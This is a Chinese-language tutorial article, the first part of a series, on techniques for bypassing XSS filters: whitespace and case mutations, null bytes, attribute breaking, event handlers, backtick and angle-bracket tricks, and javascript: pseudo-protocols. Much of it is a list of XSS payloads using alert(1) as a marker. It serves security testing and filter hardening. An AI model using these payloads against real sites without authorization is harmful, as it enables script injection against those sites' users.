导语:​在如今的web时代,XSS攻击十分常见,针对xss攻击的防御也有不少,Filter就是一种用来防御xss攻击的最常见的手段,filter通常是采用黑名单的形式或者基于正则表达式来过滤。尽管如此,依然有很多技术可以用来绕过Filter。

在如今的web时代,XSS攻击十分常见,针对xss攻击的防御也有不少,Filter就是一种用来防御xss攻击的最常见的手段,filter通常是采用黑名单的形式或者基于正则表达式来过滤。尽管如此,依然有很多技术可以用来绕过Filter。

基本变形

我们可以先从绕过相对简单的filter开始。根据Filter过滤规则复杂度的不同,绕过的难易程度肯定也不同,这些简单的过滤器还是比较容易绕过的,只要做一些基本的变形即可。

我们用到的大部分技术都是测试XSS漏洞的最简单的payload的变形,就像下面的代码一样。

<script>alert(1)</script>

如果测试的参数存在xss,就会弹框显示1.

Filter肯定会过滤这个payload,不过有时候,我们只要对payload进行一些简单的修改,就能绕过默认的最基础的filter。比如可以尝试在开始的script标签中插入一个空格或者是tab,如下所示:

<script >alert(1)</script>
<script     >alert(1)</script>

当然,也可以通过对tab,换行,回车进行编码来绕过,如下所示:

<script&#9>alert(1)</script>
<script&#10>alert(1)</script>
<script&#13>alert(1)</script>

对标签进行大小写也有可能骗过filter,如下:

<ScRipT>alert(1)</sCriPt>

还有一种方法非常有效,而且通常都能够成功绕过,那就是插入null字节。在xss payload的任何地方插入null字节,有时候可以绕过filter,如下所示:

<%00script>alert(1)</script>
<script>al%00ert(1)</script>

属性和标签

HTML属性提供了页面上元素的更多信息。当我们查找XSS漏洞时,通常可以利用这些属性来引入script标签,从而确认是否存在xss。例如,我们以input元素为例,包含一个value的属性,如下:

<input type="text" name="input" value="hello">

我们可以闭合value属性的双引号从而闭合input标签来插入我们的XSS payload,如下:

<input type="text" name="input" value=""><script>alert(1)</script>

有时候即使使用任意的标签名也可以绕过filter,如下:

<randomtag type="text" name="input" value="><script>alert(1)</script>

跟上面的类似,我们也可以替换标签名和第一个属性之间空格来测试,如下:

<input/type="text" name="input" value="><script>alert(1)</script>
<input&#9type="text" name="input" value="><script>alert(1)</script>
<input&#10type="text" name="input" value="><script>alert(1)</script>
<input&#13type="text" name="input" value="><script>alert(1)</script>
<input/'type="text" name="input" value="><script>alert(1)</script>

改变标签名大小写,有时候也会有效果,如下:

<iNpUt type="text" name="input" value="><script>alert(1)</script>

null字节的小技巧对标签名同样有效,我们可以尝试在不同的位置插入null字节,如下:

<%00input type="text" name="input" value="><script>alert(1)</script>
<inp%00ut type="text" name="input" value="><script>alert(1)</script>

这对属性名和属性值也同样适用,如下:

<input t%00ype="text" name="input" value="><script>alert(1)</script>
<input type="text" name="input" value="><script>a%00lert(1)</script>

事件处理器(Event Handlers)

HTML语言也包含了事件,事件就是页面上元素发生的动作。事件处理器就是实现该动作的方法,通常是借助JavaScript。事件可以由浏览器或者用户自己发起,比如下面这些例子都是事件,单击按钮,页面加载或者是抛出错误。

相关阅读:利用这三个工具进行fuzz测试来发现xss漏洞

现在我们还是以上面的input标签为例,我们尝试向input标签插入一个包含xss payload的事件,我们可以选择任何合适的事件处理器(这里我们选择onsubmit)来构造payload。如果存在xss漏洞,那么下面的代码,将会在表单被提交时触发弹框,如下:

<input onsubmit=alert(1)>

根据不同类型的filter,还有很多其他的事件处理器来探测xss漏洞。大部分甚至都不需要用户交互,所以测试时使用这些事件处理器就最好不过了,如下:

<object onerror=alert(1)>
<body onactivate=alert(1)>
<body onfocusin=alert(1)>
<script onreadystatechange=alert(1)>
<input autofocus onfocus=alert(1)>

HTML5还引入了一些关于事件处理器的新的攻击因素。比如audio,video和SVG等都可以用来触发xss,如下:

<audio src="new.mp3" onerror=alert(1)>
<video src="new.mp4" onerror=alert(1)>
<svg width="200" height="100" onload=alert(1)>

新的标准也允许在结束标签内使用事件处理器,如下:

</a onfocus=alert(1)>

分隔符和括号

分隔符是用于分隔文本字符串或者其他数据流的一个或多个字符。在挖xss漏洞时,巧妙的使用分隔符非常有效。在HTML中,我们经常使用空格来分隔属性和它的值。还有的时候,只要使用一个单引号或者双引号作为分隔符就可以绕过filter了,如下:

<img onerror="alert(1)"src=x>
<img onerror='alert(1)'src=x>

对分隔符进行编码也可以用来绕过防御,如下:

<img onerror=&#34alert(1)&#34src=x>
<img onerror=&#39alert(1)&#39src=x>

重音符或者是反引号也是绕过filter的一种不错的技巧,如下:

<img onerror=`alert(1)`src=x>

编码版本如下:

<img onerror=&#96alert(1)&#96src=x>

Filter有时候会过滤某些关键词,比如以“on”开头的事件处理器,以此来防御此类xss攻击。

如果我们把属性的位置换到前面,filter无法识别反引号,会将它视为不是以“on”开头的单独的属性,这样也就可以有效绕过filter了,如下:

<img src=`x`onerror=alert(1)>

跟分隔符一样,尖括号也可以利用来绕过filter。在某些情况下,filter仅仅只会查找开始括号和闭合括号,然后将尖括号里面的内容与恶意标签黑名单比较。通过使用多个尖括号,有时候可以骗过filter接受后面的代码。再使用双斜线注释掉后面的闭合标签,所以也不会报错,如下:

<<script>alert(1)//<</script>

绕过filter之后就变成了下面这样:

<script>alert(1)</script>

还有时候在结束的地方使用开尖括号也有可能绕过filter,如下:

<input onsubmit=alert(1)<

在某些情况下,应用程序会将不常见的字符转为最为接近的字符,基于它们之间相似的特征。比如,我们可以使用双角引号来替换传统的开始尖括号和结束尖括号,应用程序在执行时可能会将它们转化成正确的括号,这样就可以接收有效的输入值而绕过filter了,如下:

«input onsubmit=alert(1)»

当然,跟前面一样,编码也是有效的,如下:

&#174input onsubmit=alert(1)&#175

伪协议

浏览器可以接受内联的JavaScript代码出现在URL中或者是出现在任何值为URL的属性中。

VBScript是一种基于Visual Basic的脚本语言,在老版本的IE中,也曾经使用过这种伪协议的攻击方式。这些伪协议为我们提供了额外的xss攻击方法。

例如,我们来看一下href这个属性,该HTML属性指定一个URL链接地址,通常是为某些文本增加超链接,如下:

<a href="https://www.google.com">Click Here</a>

我们可以通过JavaScript伪协议来注入代码并触发xss漏洞,如下:

<a href="javascript:alert(1)">Click Here</a>

其他值为URL的属性也都可以加以利用。(请注意一点:虽然属性值添加双引号是推荐的做法,但是并不一定非要双引号),如下:

<img src=javascript:alert(1)>
<form action=javascript:alert(1)>
<object data=javascript:alert(1)>
<button formaction=javascript:alert(1)>
<video src=javascript:alert(1)>

敬请期待更多filter绕过技巧

本文到现在为止,我们已经探讨了多种绕过filter的方法,从插入空格,改变大小写的基本变形,到注入属性和事件处理器来欺骗filter接受非正常的字符比如反引号和双角尖括号等。接下来我们将深入讲解更多关于JavaScript的技巧来绕过filter,还有关于绕过输入过滤和长度限制的技巧。

不要走开,马上回来:绕过xss filter的高级技术part2。

源链接

Hacking more

...